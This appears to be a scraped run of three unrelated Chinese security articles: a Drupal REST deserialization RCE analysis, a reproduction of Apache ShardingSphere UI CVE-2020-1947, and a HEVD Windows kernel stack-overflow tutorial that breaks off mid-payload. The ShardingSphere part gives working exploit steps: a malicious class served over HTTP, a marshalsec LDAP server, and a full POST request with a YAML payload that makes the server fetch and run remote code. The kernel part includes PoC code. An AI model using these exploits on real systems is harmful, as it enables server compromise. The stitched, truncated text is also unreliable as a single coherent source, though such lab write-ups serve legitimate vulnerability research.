公众号：<https://mp.weixin.qq.com/s/EQD4-K6HgBY9wdzeXeyzkg>**
### **0\. 漏洞背景**
2 月 20 日 Drupal 官方披露了一个 Drupal 的远程命令执行漏洞：
<https://www.drupal.org/sa-core-2019-003>
**漏洞的触发条件为开启了 RESTful Web Services，且允许 POST / PATCH 请求。**
根据 Drupal 的配置，此漏洞可能不需要任何权限即可触发，但普适性不高。 **一旦该漏洞被利用，攻击者则可以直接在 Web 服务器上执行任意 PHP
代码，造成服务器被入侵、用户信息泄露等后果。**
腾讯云不受该漏洞影响，此漏洞爆发后，腾讯云安全团队第一时间进行跟踪分析，且对云上客户进行预警通知。
### **1\. 漏洞定位**
漏洞通告指出了 Drupal 8 在开启了 RESTful Web Services 模块，同时允许了 PATCH / POST
方法请求后，可以造成代码执行漏洞。
根据 commit log [注1] 可以定位到漏洞的触发原因在于反序列化的操作：
可以推测应该是在进行 REST API 操作的过程中，options 参数的内容带入到 unserialize 函数导致的。通过 diff 可以发现
LinkItem.php 和 MapItem.php 都受到影响，这里从 LinkItem 来向上挖掘漏洞点。
查看 core\modules\link\src\Plugin\Field\FieldType\LinkItem.php：
梳理了其整个调用链，从 REST 请求开始，先通过用户传入的 JSON 的 `_links.type` 获取了其对应的 Entity，再获取 Entity
内的 Fields 列表，遍历这个列表得到 key，从用户传入的 JSON 内取出 key，拼接成为 `field_item:key`
的形式（过程略），最终在 getDefinition 内查找了 definitions 数组内的字段定义，得到一个对应的 Field
的实例对象，过程大体如下：
接着 FieldNormalizer 的 denormalize 方法调用了 Field 的 setValue 方法。
也就是说，我们如果可以将 `$field_item` 控制为 LinkItem 或者 MapItem，即可触发反序列化。
### **2\. 触发点构造**
我们在 Drupal 后台配置好 RESTful Web Service 插件，选择一个可以进行 POST 的操作。
为了尽可能模拟网站管理员的配置，我们这里允许对于 /user/register 的 POST 操作。
于情于理，用户注册处必然可以作为匿名用户来进行操作。开启 /user/register ：
设置允许匿名用户利用 POST 来访问 /user/register 。
上文中提到，我们需要一个 Entity 内存在 LinkItem Field。通过对 Entity 的查找，定位到 MenuLinkContent 和
Shortcut 使用了 LinkItem，利用 Shortcut 来进行进一步的测试。
Shortcut 的 _links.type 为：<http://127.0.0.1/rest/type/shortcut/default> 。
向 /user/register 发送 POST 请求，同时在 PHPStorm 内将断点下在
`core\modules\hal\src\Normalizer\FieldItemNormalizer.php` 的 denormalize 函数：
可以发现，在调用 setValue 方法的现场，values 为一个数组。且 $values['options'] 存在，那么就执行反序列化操作。我们修改
payload 为即可触发反序列化。
#### **验证视频：**
攻击者利用此反序列化可以在服务器上执行任意代码，利用此漏洞在服务器上弹出计算器的视频如下：
### **3\. 安全建议**
**修复方案如下：**
1. Drupal 8.6.x 版本升级到 8.6.10 版本
2. Drupal 8.5.x 或更早期版本版本升级到 8.5.11 版本
3. Drupal 7 暂无更新
**缓解措施如下：**
1. 禁用 RESTful Web Services 模块
2. 配置服务器不允许 POST/PATCH 请求
注1：
<https://github.com/drupal/core/commit/24b3fae89eab2b3951f17f80a02e19d9a24750f5>
**腾讯安全云鼎实验室**
关注云主机与云内流量的安全研究和安全运营。利用机器学习与大数据技术实时监控并分析各类风险信息，帮助客户抵御高级可持续攻击；联合腾讯所有安全实验室进行安全漏洞的研究，确保云计算平台整体的安全性。相关能力通过腾讯云开放出来，为用户提供黑客入侵检测和漏洞风险预警等服务，帮助企业解决服务器安全问题。
* * * | 社区文章 |
**作者：Ja0k@SecurityCN**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！**
**投稿邮箱：[email protected]**
## 一、事件背景
近日，Apache官方发布了ShardingSphere 新版本修复了一个YAML解析导致的远程代码执行漏洞（CVE-2020-1947）。 Apache
ShardingSphere是一套开源的分布式数据库中间件解决方案组成的生态圈，它由Sharding-JDBC、Sharding-Proxy和Sharding-Sidecar（规划中）这3款相互独立，却又能够混合部署配合使用的产品组成。它们均提供标准化的数据分片、分布式事务和数据库治理功能，可适用于如Java同构、异构语言、云原生等各种多样化的应用场景。
## 二、漏洞信息
漏洞名称 | Apache ShardingSphere UI YAML解析远程代码执行漏洞
---|---
CVE编号 | CVE-2020-1947
影响范围 | Apache ShardingSphere UI <= 4.0.1
威胁等级 | 高危
公开时间 | 2020年3月10日
## 三、漏洞分析
### 补丁对比
<https://github.com/apache/incubator-shardingsphere/releases> 通过4.0.1
版本的change-log 中的Enhancement 可以看到添加了一个类过滤器构造函数以限制来自YAML的非法类。
incubator-shardingsphere-4.0.1\sharding-core\sharding-core-common\src\main\java\org\apache\shardingsphere\core\yaml\engine\ClassFilterConstructor.java
public final class ClassFilterConstructor extends Constructor {
private final Collection<Class<?>> acceptClasses;
@Override
protected Class<?> getClassForName(final String name) throws ClassNotFoundException {
for (Class<? extends Object> each : acceptClasses) {
if (name.equals(each.getName())) {
return super.getClassForName(name);
}
}
throw new IllegalArgumentException(String.format("Class is not accepted: %s", name));
}
}
添加了一个白名单类acceptClasses列表用for each进行遍历，其他危险的类调用将会被拒绝，如本次Poc中的调用类JdbcRowSetImpl
再看4.0.0 版本中
src/main/java/org/apache/shardingsphere/ui/util/ConfigurationYamlConverter.java
直接使用unmarshal方法对输入的YAML直接进行解析，没有做校验。那么就可以参考Fastjson的反序列化漏洞，通过com.sun.rowset.JdbcRowSetImpl类远程调用来进行JNDI注入。
漏洞触发点就是YAML
### 四、漏洞复现
#### 搭建 Apache ShardingSphere UI环境
1.github下载的 Apache ShardingSphere UI 需要编译之后使用
编译过程
#wget -c https://github.com/apache/incubator-shardingsphere/archive/4.0.0.tar.gz
#cd incubator-shardingsphere/shrding-ui/
#mvn clean package -Prelease
Get the package in shardingsphere-ui/shardingsphere-ui-distribution/shardingsphere-ui-bin-distribution/target/apache-shardingsphere-incubating-${latest.release.version}-shardingsphere-ui-bin.tar.gz
2.也可以在官网下载Linux版本二进制程序包 （建议大家用此方法）
<https://shardingsphere.apache.org/document/current/cn/downloads/>
下载地址：
<https://mirrors.tuna.tsinghua.edu.cn/apache/incubator/shardingsphere/4.0.0/apache-shardingsphere-incubating-4.0.0-sharding-ui-bin.tar.gz>
解压:
tar -xf apache-shardingsphere-incubating-4.0.0-sharding-ui-bin.tar.gz
sharding-ui是一个标准的springboot程序，可以通过conf/application.properties配置相关信息
可以看到默认监听 8088 端口，默认管理员口令为 admin/admin （生产环境建议修改密码） 进入程序目录运行启动程序 bin/start.sh
通过浏览器访问8088端口
使用默认口令即可登录成功
添加1个注册中心 Zookeeper
**注意：这里不一定需要搭建Zookeeper，只有填入一个地址即可（不能填写127.0.0.1，否则报错）**
如果想搭建可以参考教程<https://www.jianshu.com/p/a5fda39f20d0>
#### 使用Poc进行验证
1.构造Exp并编译 ExportObject.java
将ExportObject.java编译
javac ExportObject.java
2.启动HTTPserver
在ExportObject.class当前目录打开终端中执行
python -m SimpleHTTPServer
启动Httpserver，地址为
<http://192.168.80.1:8000>
3.利用marshalsec工具启用ldap或rmi
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.80.1:8000/#ExportObject
4.发送Poc 触发YAML 完整请求
POST /api/schema HTTP/1.1
Host: 192.168.80.138:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Token: eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsImJhc2U2NCI6eyJlbmNvZGVUYWJsZSI6WzY1LDY2LDY3LDY4LDY5LDcwLDcxLDcyLDczLDc0LDc1LDc2LDc3LDc4LDc5LDgwLDgxLDgyLDgzLDg0LDg1LDg2LDg3LDg4LDg5LDkwLDk3LDk4LDk5LDEwMCwxMDEsMTAyLDEwMywxMDQsMTA1LDEwNiwxMDcsMTA4LDEwOSwxMTAsMTExLDExMiwxMTMsMTE0LDExNSwxMTYsMTE3LDExOCwxMTksMTIwLDEyMSwxMjIsNDgsNDksNTAsNTEsNTIsNTMsNTQsNTUsNTYsNTcsNDMsNDddLCJkZWNvZGVUYWJsZSI6Wy0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLDYyLC0xLDYyLC0xLDYzLDUyLDUzLDU0LDU1LDU2LDU3LDU4LDU5LDYwLDYxLC0xLC0xLC0xLC0xLC0xLC0xLC0xLDAsMSwyLDMsNCw1LDYsNyw4LDksMTAsMTEsMTIsMTMsMTQsMTUsMTYsMTcsMTgsMTksMjAsMjEsMjIsMjMsMjQsMjUsLTEsLTEsLTEsLTEsNjMsLTEsMjYsMjcsMjgsMjksMzAsMzEsMzIsMzMsMzQsMzUsMzYsMzcsMzgsMzksNDAsNDEsNDIsNDMsNDQsNDUsNDYsNDcsNDgsNDksNTAsNTFdLCJkZWNvZGVTaXplIjozLCJlbmNvZGVTaXplIjo0LCJQQUQiOjYxLCJwYWQiOjYxLCJ1bmVuY29kZWRCbG9ja1NpemUiOjMsImVuY29kZWRCbG9ja1NpemUiOjQsImxpbmVMZW5ndGgiOjAsImNodW5rU2VwYXJhdG9yTGVuZ3RoIjoyfSwiZ3NvbiI6eyJjYWxscyI6eyJ0aHJlYWRMb2NhbEhhc2hDb2RlIjoxMzk4MDMyNzAxfSwidHlwZVRva2VuQ2FjaGUiOnsiaW50Ijp7fSwiamF2YS5sYW5nLkJvb2xlYW4iOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwucmVmbGVjdC5QcmVKYXZhOVJlZmxlY3Rpb25BY2Nlc3NvciI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLlJlZmxlY3RpdmVUeXBlQWRhcHRlckZhY3RvcnkiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5Kc29uQWRhcHRlckFubm90YXRpb25UeXBlQWRhcHRlckZhY3RvcnkiOnt9LCJjb20uZ29vZ2xlLmdzb24uVHlwZUFkYXB0ZXJGYWN0b3J5Ijp7fSwib3JnLmFwYWNoZS5jb21tb25zLmNvZGVjLmJpbmFyeS5CYXNlNjQiOnt9LCJqYXZhLnV0aWwuTWFwXHUwMDNjY29tLmdvb2dsZS5nc29uLnJlZmxlY3QuVHlwZVRva2VuXHUwMDNjP1x1MDAzZSwgY29tLmdvb2dsZS5nc29uLlR5cGVBZGFwdGVyXHUwMDNjP1x1MDAzZVx1MDAzZSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLlR5cGVBZGFwdGVycyQzNSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5FeGNsdWRlciI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLkRhdGVUeXBlQWRhcHRlciQxIjp7fSwiY29tLmdvb2dsZS5nc29uLlR5cGVBZGFwdGVyXHUwMDNjP1x1MDAzZSI6e30sImJvb2xlYW4iOnt9LCJkb3VibGUiOnt9LCJqYXZhLnV0aWwuTGlzdFx1MDAzY2NvbS5nb29nbGUuZ3Nvbi5UeXBlQWRhcHRlckZhY3RvcnlcdTAwM2UiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMzAiOnt9LCJqYXZhLmxhbmcuU3RyaW5nIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuVHlwZUFkYXB0ZXJzJDI2Ijp7fSwiY29tLmdvb2dsZS5nc29uLnJlZmxlY3QuVHlwZVRva2VuXHUwMDNjP1x1MDAzZSI6e30sImNvbS5nb29nbGUuZ3Nvbi5GaWVsZE5hbWluZ1N0cmF0ZWd5Ijp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuVHlwZUFkYXB0ZXJzJDMyIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuVGltZVR5cGVBZGFwdGVyJDEiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuQ29uc3RydWN0b3JDb25zdHJ1Y3RvciI6e30sImphdmEudXRpbC5NYXBcdTAwM2NqYXZhLmxhbmcucmVmbGVjdC5UeXBlLCBjb20uZ29vZ2xlLmdzb24uSW5zdGFuY2VDcmVhdG9yXHUwMDNjP1x1MDAzZVx1MDAzZSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLlNxbERhdGVUeXBlQWRhcHRlciQxIjp7fSwiY29tLmdvb2dsZS5nc29uLkV4Y2x1c2lvblN0cmF0ZWd5Ijp7fSwiamF2YS5sYW5nLkJ5dGUiOnt9LCJqYXZhLmxhbmcuQ2xhc3NcdTAwM2M/XHUwMDNlIjp7fSwiY29tLmdvb2dsZS5nc29uLkluc3RhbmNlQ3JlYXRvclx1MDAzYz9cdTAwM2UiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwucmVmbGVjdC5SZWZsZWN0aW9uQWNjZXNzb3IiOnt9LCJjb20uZ29vZ2xlLmdzb24uRmllbGROYW1pbmdQb2xpY3kkMSI6e30sImNvbS5nb29nbGUuZ3Nvbi5Hc29uIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuQXJyYXlUeXBlQWRhcHRlciQxIjp7fSwiamF2YS5sYW5nLnJlZmxlY3QuVHlwZSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLlR5cGVBZGFwdGVycyQzMyI6e30sIm9yZy5hcGFjaGUuc2hhcmRpbmdzcGhlcmUudWkuc2VjdXJpdHkuVXNlckF1dGhlbnRpY2F0aW9uU2VydmljZSI6e30sImJ5dGVbXSI6e30sImJ5dGUiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5PYmplY3RUeXBlQWRhcHRlciQxIjp7fSwiamF2YS5sYW5nLkludGVnZXIiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5NYXBUeXBlQWRhcHRlckZhY3RvcnkiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5Db2xsZWN0aW9uVHlwZUFkYXB0ZXJGYWN0b3J5Ijp7fSwiY29tLmdvb2dsZS5nc29uLkxvbmdTZXJpYWxpemF0aW9uUG9saWN5JDEiOnt9LCJjb20uZ29vZ2xlLmdzb24uTG9uZ1NlcmlhbGl6YXRpb25Qb2xpY3kiOnt9LCJqYXZhLmxhbmcuVGhyZWFkTG9jYWxcdTAwM2NqYXZhLnV0aWwuTWFwXHUwMDNjY29tLmdvb2dsZS5nc29uLnJlZmxlY3QuVHlwZVRva2VuXHUwMDNjP1x1MDAzZSwgY29tLmdvb2dsZS5nc29uLkdzb24kRnV0dXJlVHlwZUFkYXB0ZXJcdTAwM2M/XHUwMDNlXHUwMDNlXHUwMDNlIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuVHlwZUFkYXB0ZXJzJDM0Ijp7fSwiamF2YS51dGlsLkxpc3RcdTAwM2Njb20uZ29vZ2xlLmdzb24uRXhjbHVzaW9uU3RyYXRlZ3lcdTAwM2UiOnt9LCJqYXZhLmxhbmcuRG91YmxlIjp7fX0sImNvbnN0cnVjdG9yQ29uc3RydWN0b3IiOnsiaW5zdGFuY2VDcmVhdG9ycyI6e30sImFjY2Vzc29yIjp7fX0sImpzb25BZGFwdGVyRmFjdG9yeSI6eyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319fSwiZmFjdG9yaWVzIjpbbnVsbCxudWxsLHsidmVyc2lvbiI6LTEuMCwibW9kaWZpZXJzIjoxMzYsInNlcmlhbGl6ZUlubmVyQ2xhc3NlcyI6dHJ1ZSwicmVxdWlyZUV4cG9zZSI6ZmFsc2UsInNlcmlhbGl6YXRpb25TdHJhdGVnaWVzIjpbXSwiZGVzZXJpYWxpemF0aW9uU3RyYXRlZ2llcyI6W119LG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLHsiY29uc3RydWN0b3JDb25zdHJ1Y3RvciI6eyJpbnN0YW5jZUNyZWF0b3JzIjp7fSwiYWNjZXNzb3IiOnt9fX0seyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319LCJjb21wbGV4TWFwS2V5U2VyaWFsaXphdGlvbiI6ZmFsc2V9LHsiY29uc3RydWN0b3JDb25zdHJ1Y3RvciI6eyJpbnN0YW5jZUNyZWF0b3JzIjp7fSwiYWNjZXNzb3IiOnt9fX0sbnVsbCx7ImNvbnN0cnVjdG9yQ29uc3RydWN0b3IiOnsiaW5zdGFuY2VDcmVhdG9ycyI6e30sImFjY2Vzc29yIjp7fX0sImZpZWxkTmFtaW5nUG9saWN5IjoiSURFTlRJVFkiLCJleGNsdWRlciI6eyJ2ZXJzaW9uIjotMS4wLCJtb2RpZmllcnMiOjEzNiwic2VyaWFsaXplSW5uZXJDbGFzc2VzIjp0cnVlLCJyZXF1aXJlRXhwb3NlIjpmYWxzZSwic2VyaWFsaXphdGlvblN0cmF0ZWdpZXMiOltdLCJkZXNlcmlhbGl6YXRpb25TdHJhdGVnaWVzIjpbXX0sImpzb25BZGFwdGVyRmFjdG9yeSI6eyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319fSwiYWNjZXNzb3IiOnt9fV0sImV4Y2x1ZGVyIjp7InZlcnNpb24iOi0xLjAsIm1vZGlmaWVycyI6MTM2LCJzZXJpYWxpemVJbm5lckNsYXNzZXMiOnRydWUsInJlcXVpcmVFeHBvc2UiOmZhbHNlLCJzZXJpYWxpemF0aW9uU3RyYXRlZ2llcyI6W10sImRlc2VyaWFsaXphdGlvblN0cmF0ZWdpZXMiOltdfSwiZmllbGROYW1pbmdTdHJhdGVneSI6IklERU5USVRZIiwiaW5zdGFuY2VDcmVhdG9ycyI6e30sInNlcmlhbGl6ZU51bGxzIjpmYWxzZSwiY29tcGxleE1hcEtleVNlcmlhbGl6YXRpb24iOmZhbHNlLCJnZW5lcmF0ZU5vbkV4ZWN1dGFibGVKc29uIjpmYWxzZSwiaHRtbFNhZmUiOnRydWUsInByZXR0eVByaW50aW5nIjpmYWxzZSwibGVuaWVudCI6ZmFsc2UsInNlcmlhbGl6ZVNwZWNpYWxGbG9hdGluZ1BvaW50VmFsdWVzIjpmYWxzZSwiZGF0ZVN0eWxlIjoyLCJ0aW1lU3R5bGUiOjIsImxvbmdTZXJpYWxpemF0aW9uUG9saWN5IjoiREVGQVVMVCIsImJ1aWxkZXJGYWN0b3JpZXMiOltdLCJidWlsZGVySGllcmFyY2h5RmFjdG9yaWVzIjpbXX19
Content-Type: application/json;charset=utf-8
Referer: http://192.168.80.138:8088/
Connection: close
Content-Length: 598
{
"name": "CVE-2020-1947",
"ruleConfiguration": " encryptors:\n encryptor_aes:\n type: aes\n props:\n aes.key.value: 123456abc\n encryptor_md5:\n type: md5\n tables:\n t_encrypt:\n columns:\n user_id:\n plainColumn: user_plain\n cipherColumn: user_cipher\n encryptor: encryptor_aes\n order_id:\n cipherColumn: order_cipher\n encryptor: encryptor_md5",
"dataSourceConfiguration": "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://192.168.80.1:1389/ExportObject\n autoCommit: true"
}
**注意：Access-Token 要改为当前登录shardingsphere UI的token**
查看服务器发现/tmp/CVE-2020-1947 文件
touch命令执行成功
### 四、修复建议
官方已经发布新版本 <https://github.com/apache/incubator-shardingsphere/releases>
**参考链接**
1. <https://github.com/SecurityCN/Vulnerability-analysis/tree/master/CVE-2020-1947>
2. <https://github.com/apache/incubator-shardingsphere/releases>
3. <https://github.com/Imanfeng/CVE-2020-1947>
* * * | 社区文章 |
# Windows内核漏洞学习之栈溢出（x86/x64）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
由于上个月找工作，有几个面试官大佬问到了有关内核漏洞和缓解绕过机制的问题，我基本在这一块属于简单了解，回答的很不好，因而感觉需要在这一块学习一下，而且随着`Windows`漏洞审核变的越来越严，普通的漏洞就直接拒了，每次挖到洞都在寻找能够扩大漏洞攻击面的机会，如果能够影响到内核那被拒的可能性就比较低了，所以趁此机会好好学习一下内核漏洞相关知识和一些缓解机制绕过的方法。这是`hevd`学习的一个系列，这是第一篇，关于栈溢出，这种溢出在`windows
10`中基本已经完全没法使用了，但对于`windows`内核底层机制了解还是有作用的，作为第一篇，所以写的会比较细，具体实验步骤都会写出来。
其中用到的`poc`和`exp`代码，我放在[github](https://github.com/xinali/HEVDExps)上了，后续的代码也会更新在上面，有问题欢迎交流，学习。
本文介绍了`hevd`中栈溢出在`x86`和`x64`环境下`exp`编写及其原理。
## 环境准备
因为`vmware 15`升级了很多东西，往常使用的`VirtualKD`已经没法用了，所以这里使用其加强版本`VirtualKD-Redux`
下载[VirtualKD-Redux](https://github.com/4d61726b/VirtualKD-Redux)，这个版本`VirutalKD`一直在更新，可用性比单纯的`VirtualKD`要好用很多
> `VirtualKD-Redux`说是支持`Windbg
> Preview`，但是我在使用过程中会经常出现问题，所以强烈建议使用`windbg.exe`而不是`windbgx.exe`来进行调试。
下载`windows 7 sp1`并安装，安装完成
环境
主机：windows 10 2004 x64
虚拟机： windows 7 sp1 中文版(x86/x64)
编译工具： vs community 2017
windbg: 10.0.19041.1 (x86/x64)
hevd 3.00
## x86
> 调试过程中会系统会多次重启，每次重启可能`hevd.sys`的载入基址都会发生变化
利用`VirtualKD`禁用`windows 7`的驱动签名限制
成功启动之后，开启服务
打开`hevd.sys`大概看一下代码逻辑
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, int a2)
{
NTSTATUS v2; // esi
NTSTATUS result; // eax
PDEVICE_OBJECT v4; // eax
NTSTATUS v5; // edi
LSA_UNICODE_STRING DestinationString; // [esp+Ch] [ebp-14h]
LSA_UNICODE_STRING SymbolicLinkName; // [esp+14h] [ebp-Ch]
PDEVICE_OBJECT DeviceObject; // [esp+1Ch] [ebp-4h]
DeviceObject = 0;
*(_DWORD *)&SymbolicLinkName.Length = 0;
SymbolicLinkName.Buffer = 0;
RtlInitUnicodeString(&DestinationString, L"\\Device\\HackSysExtremeVulnerableDriver");
RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\HackSysExtremeVulnerableDriver");
v2 = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
if ( v2 >= 0 )
{
memset32(DriverObject->MajorFunction, (int)IrpNotImplementedHandler, 0x1Cu);
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)IrpDeviceIoCtlHandler;
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)IrpCreateCloseHandler;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)IrpCreateCloseHandler;
v4 = DeviceObject;
DriverObject->DriverUnload = (PDRIVER_UNLOAD)DriverUnloadHandler;
v4->Flags |= 0x10u;
DeviceObject->Flags &= 0xFFFFFF7F;
v5 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
...
跟进`IrpDeviceIoCtlHandler`
NTSTATUS __stdcall IrpDeviceIoCtlHandler(int a1, PIRP Irp)
{
NTSTATUS v2; // ebx
_IO_STACK_LOCATION *v3; // eax
_IO_STACK_LOCATION *v4; // ebx
void (*v5)(ULONG, ULONG, PCSTR, ...); // esi
int v6; // eax
const CHAR *v8; // [esp-4h] [ebp-10h]
v2 = -1073741637;
v3 = Irp->Tail.Overlay.CurrentStackLocation;
if ( v3 )
{
v4 = Irp->Tail.Overlay.CurrentStackLocation;
switch ( v3->Parameters.Read.ByteOffset.LowPart )
{
case 0x222003u:
v5 = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n");
v6 = BufferOverflowStackIoctlHandler((int)Irp, (int)v4);
v8 = "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n";
goto LABEL_4;
case 0x222007u:
v5 = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******\n");
v6 = BufferOverflowStackGSIoctlHandler(Irp, v4);
v8 = "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******\n";
goto LABEL_4;
...
继续跟进`BufferOverflowStackIoctlHandler`
int __stdcall BufferOverflowStackIoctlHandler(int a1, int a2)
{
int v2; // ecx
void *v3; // edx
v2 = -1073741823;
v3 = *(void **)(a2 + 16);
if ( v3 )
v2 = TriggerBufferOverflowStack(v3, *(_DWORD *)(a2 + 8));
return v2;
}
最终溢出函数
int __stdcall TriggerBufferOverflowStack(void *Address, size_t MaxCount)
{
char Dst; // [esp+10h] [ebp-81Ch]
CPPEH_RECORD ms_exc; // [esp+814h] [ebp-18h]
memset(&Dst, 0, 0x800u);
ms_exc.registration.TryLevel = 0;
ProbeForRead(Address, 0x800u, 1u);
_DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", Address);
_DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%X\n", MaxCount);
_DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", &Dst);
_DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%X\n", 2048);
_DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stack\n");
memcpy(&Dst, Address, MaxCount); // 没有判断MaxCount，导致栈溢出
return 0;
}
`poc`函数
void poc()
{
do {
HANDLE hDevice;
// 2-bit unsigned integer. This is a flag field that indicates various access modes
// to use for creating and opening the file.
// This value SHOULD be set to 0xC0000000, meaning generic read and generic write
hDevice = CreateFileA(
/* LPCSTR lpFileName */ "\\\\.\\HackSysExtremeVulnerableDriver",
/* DWORD dwDesiredAccess */ 0xC0000000,
/* DWORD dwShareMode */ FILE_SHARE_READ | FILE_SHARE_WRITE,
/* LPSECURITY_ATTRIBUTES lpSecurityAttributes */ NULL,
/* DWORD dwCreationDisposition */ OPEN_EXISTING,
/* DWORD dwFlagsAndAttributes */ 0,
/* HANDLE hTemplateFile */ NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
handle_error("Open device failed!\n", GetLastError());
break;
}
DWORD dwReturnedBytes = 0;
UCHAR szInBuffer[] = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3B